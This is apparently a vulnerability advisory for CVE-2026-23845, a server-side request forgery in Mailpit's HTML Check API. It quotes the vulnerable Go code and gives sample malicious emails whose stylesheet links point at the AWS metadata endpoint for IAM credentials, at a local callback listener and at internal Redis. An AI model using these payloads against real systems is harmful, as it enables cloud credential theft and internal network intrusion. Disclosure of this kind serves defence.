CVE-2026-23845: Mailpit has a Server-Side Request Forgery (SSRF) via HTML Check API
(updated )
Server-Side Request Forgery (SSRF) via HTML Check CSS Download
The HTML Check feature (/api/v1/message/{ID}/html-check) is designed to analyze HTML emails for compatibility. During this process, the inlineRemoteCSS() function automatically downloads CSS files from external <link rel="stylesheet" href="..."> tags to inline them for testing.
Affected Components
- Primary File:
internal/htmlcheck/css.go(lines 132-207) - API Endpoint:
/api/v1/message/{ID}/html-check - Handler:
server/apiv1/other.go(lines 38-75) - Vulnerable Functions:
inlineRemoteCSS()- line 132downloadToBytes()- line 193isURL()- line 221
Technical Details
1. Insufficient URL Validation (isURL() function):
// internal/htmlcheck/css.go:221-224
func isURL(str string) bool {
u, err := url.Parse(str)
return err == nil && (u.Scheme == "http" || u.Scheme == "https") && u.Host != ""
}
2. Unrestricted Download (downloadToBytes() function):
// internal/htmlcheck/css.go:193-207
func downloadToBytes(url string) ([]byte, error) {
client := http.Client{
Timeout: 5 * time.Second,
}
// Get the link response data
resp, err := client.Get(url) // ⚠️ VULNERABLE - No IP validation
if err != nil {
return nil, err
}
defer func() { _ = resp.Body.Close() }()
if resp.StatusCode != 200 {
err := fmt.Errorf("error downloading %s", url)
return nil, err
}
body, err := io.ReadAll(resp.Body) // ⚠️ Downloads ENTIRE response
if err != nil {
return nil, err
}
return body, nil
}
3. Automatic CSS Processing:
// internal/htmlcheck/css.go:132-187
func inlineRemoteCSS(h string) (string, error) {
reader := strings.NewReader(h)
doc, err := goquery.NewDocumentFromReader(reader)
if err != nil {
return h, err
}
remoteCSS := doc.Find("link[rel=\"stylesheet\"]").Nodes
for _, link := range remoteCSS {
attributes := link.Attr
for _, a := range attributes {
if a.Key == "href" {
if !isURL(a.Val) { // ⚠️ Insufficient validation
continue
}
if config.BlockRemoteCSSAndFonts {
logger.Log().Debugf("[html-check] skip testing remote CSS content: %s (--block-remote-css-and-fonts)", a.Val)
return h, nil
}
resp, err := downloadToBytes(a.Val) // ⚠️ Downloads from ANY URL
if err != nil {
logger.Log().Warnf("[html-check] failed to download %s", a.Val)
continue
}
// Inlines the downloaded CSS
styleBlock := &html.Node{
Type: html.ElementNode,
Data: "style",
DataAtom: atom.Style,
}
styleBlock.AppendChild(&html.Node{
Type: html.TextNode,
Data: string(resp), // Downloaded content inserted
})
link.Parent.AppendChild(styleBlock)
}
}
}
return doc.Html()
}
Attack Vectors
Attack Vector 1: Cloud Metadata Credential Theft
Attacker sends HTML email with:
<!DOCTYPE html>
<html>
<head>
<link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/iam/security-credentials/admin-role">
</head>
<body>Legitimate email content</body>
</html>
When HTML check is triggered:
- Mailpit makes GET request to AWS metadata endpoint
- Downloads IAM credentials as “CSS content”
- Credentials logged or potentially leaked via error messages
Proof of Concept
A complete working exploit is provided in ssrf_htmlcheck_poc.py.
PoC Usage:
# Ensure Mailpit is running
# SMTP: localhost:1025
# HTTP API: localhost:8025
# Run the exploit
python3 ssrf_htmlcheck_poc.py
PoC Workflow:
- Starts SSRF listener on port 8888 to detect callbacks
- Sends malicious HTML emails containing:
<link rel="stylesheet" href="http://localhost:8888/malicious.css"> <link rel="stylesheet" href="http://169.254.169.254/latest/meta-data/"> <link rel="stylesheet" href="http://127.0.0.1:6379/"> - Triggers HTML check via API:
GET /api/v1/message/{ID}/html-check - Monitors callbacks and analyzes responses
- Demonstrates exploitation of:
- Local listener (proves SSRF)
- Cloud metadata endpoints
- Internal services (Redis, etc.)
- Private network ranges
Expected Output:
References
Code Behaviors & Features
Detect and mitigate CVE-2026-23845 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Learn more about Dependency Scanning →